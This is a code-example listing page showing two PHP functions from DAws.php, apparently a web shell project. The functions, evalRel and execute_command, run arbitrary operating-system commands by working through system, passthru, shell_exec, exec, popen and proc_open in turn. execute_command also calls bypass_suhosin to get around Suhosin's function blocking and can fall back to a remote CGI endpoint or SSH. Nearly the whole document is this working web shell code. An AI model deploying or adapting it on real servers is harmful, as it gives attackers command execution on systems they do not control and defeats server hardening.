コード例 #1
0
ファイル: DAws.php プロジェクト: brandontict/DAws
function evalRel($command)
{
    global $shell_exec, $exec, $popen, $proc_open, $system, $passthru, $cgi, $shsh;
    if ($system == True) {
        system($command);
    } else {
        if ($passthru == True) {
            passthru($command);
        } else {
            if ($shell_exec == True) {
                echo shell_exec($command);
            } else {
                if ($exec == True) {
                    echo exec($command);
                } else {
                    if ($popen == True) {
                        $pid = popen($command, "r");
                        while (!feof($pid)) {
                            echo fread($pid, 256);
                            flush();
                            ob_flush();
                            usleep(100000);
                        }
                        pclose($pid);
                    } else {
                        if ($proc_open == True) {
                            $process = proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
                            if ($process !== false) {
                                $stdout = stream_get_contents($pipes[1]);
                                $stderr = stream_get_contents($pipes[2]);
                                fclose($pipes[1]);
                                fclose($pipes[2]);
                                proc_close($process);
                            }
                            if ($stderr != "") {
                                echo $stderr;
                            } else {
                                echo $stdout;
                            }
                        } else {
                            if ($cgi == True) {
                                $command = base64encoding($command);
                                echo url_get_contents($_SESSION["onlinecgi"] . "?command={$command}");
                            } else {
                                if ($shsh == True) {
                                    return shsh($command);
                                } else {
                                    return "False";
                                }
                            }
                        }
                    }
                }
            }
        }
    }
}
コード例 #2
0
ファイル: DAws.php プロジェクト: danny4you2/DAws
function execute_command($command, $software_check = False)
{
    //this is also used to check for installed softwares
    if ($software_check == True) {
        if ($_SESSION["windows"] == True) {
            $command = "where {$command}";
        } else {
            $command = "which {$command}";
        }
    }
    if (disabled_php("system") == False) {
        //not disabled by disable_functions
        ob_start();
        if (disabled_suhosin("system") == False) {
            //not disabled by Suhosin
            system($command);
        } else {
            //disabled by Suhosin
            bypass_suhosin("system", $command, null, null, null, null, False);
        }
        $return_value = ob_get_contents();
        ob_end_clean();
    } else {
        if (disabled_php("passthru") == False) {
            ob_start();
            if (disabled_suhosin("passthru") == False) {
                passthru($command);
            } else {
                bypass_suhosin("passthru", $command, null, null, null, null, False);
            }
            $return_value = ob_get_contents();
            ob_end_clean();
        } else {
            if (disabled_php("shell_exec") == False) {
                if (disabled_suhosin("shell_exec") == False) {
                    $return_value = shell_exec($command);
                } else {
                    $return_value = bypass_suhosin("shell_exec", $command);
                }
            } else {
                if (disabled_php("exec") == False) {
                    if (disabled_suhosin("exec") == False) {
                        $return_value = exec($command);
                    } else {
                        $return_value = bypass_suhosin("exec", $command);
                    }
                } else {
                    if (disabled_php("popen") == False) {
                        if (disabled_suhosin("popen") == False) {
                            $handle = popen($command, "r");
                        } else {
                            $handle = bypass_suhosin("popen", $command, "r");
                        }
                        $return_value = fread($handle, 4096);
                        pclose($handle);
                    } else {
                        if (disabled_php("proc_open") == False) {
                            if (disabled_suhosin("proc_open") == False) {
                                $process = proc_open($command, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "w")), $pipes);
                            } else {
                                //this gave me a headache so I will check it out later
                                /*
                                			echo "proc_open-suhosin";
                                			$process = bypass_suhosin(
                                				"proc_open",
                                				$command,
                                				array(
                                					0 => array("pipe", "r"),
                                					1 => array("pipe", "w"),
                                					2 => array("pipe", "w"),
                                				),
                                				$pipes);*/
                            }
                            $stdout = stream_get_contents($pipes[1]);
                            $stderr = stream_get_contents($pipes[2]);
                            fclose($pipes[1]);
                            fclose($pipes[2]);
                            proc_close($process);
                            if ($stderr == "") {
                                $return_value = $stdout;
                            } else {
                                $return_value = $stderr;
                            }
                        } else {
                            if (isset($_SESSION["cgi"]) && $_SESSION["cgi"] == True) {
                                $return_value = url_get_contents($_SESSION["cgi_url"] . "?command=" . base64encoding($command));
                            } else {
                                if (isset($_SESSION["shsh"]) && $_SESSION["shsh"] == True) {
                                    $return_value = shsh($command);
                                } else {
                                    if (isset($_SESSION["shsh2"]) && $_SESSION["shsh2"] == True) {
                                        $return_value = shsh2($command);
                                    } else {
                                        if (isset($_SESSION["ssh"]) && $_SESSION["ssh"] == True) {
                                            $return_value = execute_ssh($command);
                                        } else {
                                            $return_value = "";
                                        }
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
    }
    if ($software_check == True) {
        if ($return_value != "" && strpos($return_value, "Could not find files") === False) {
            return True;
        } else {
            return False;
        }
    } else {
        return $return_value;
    }
}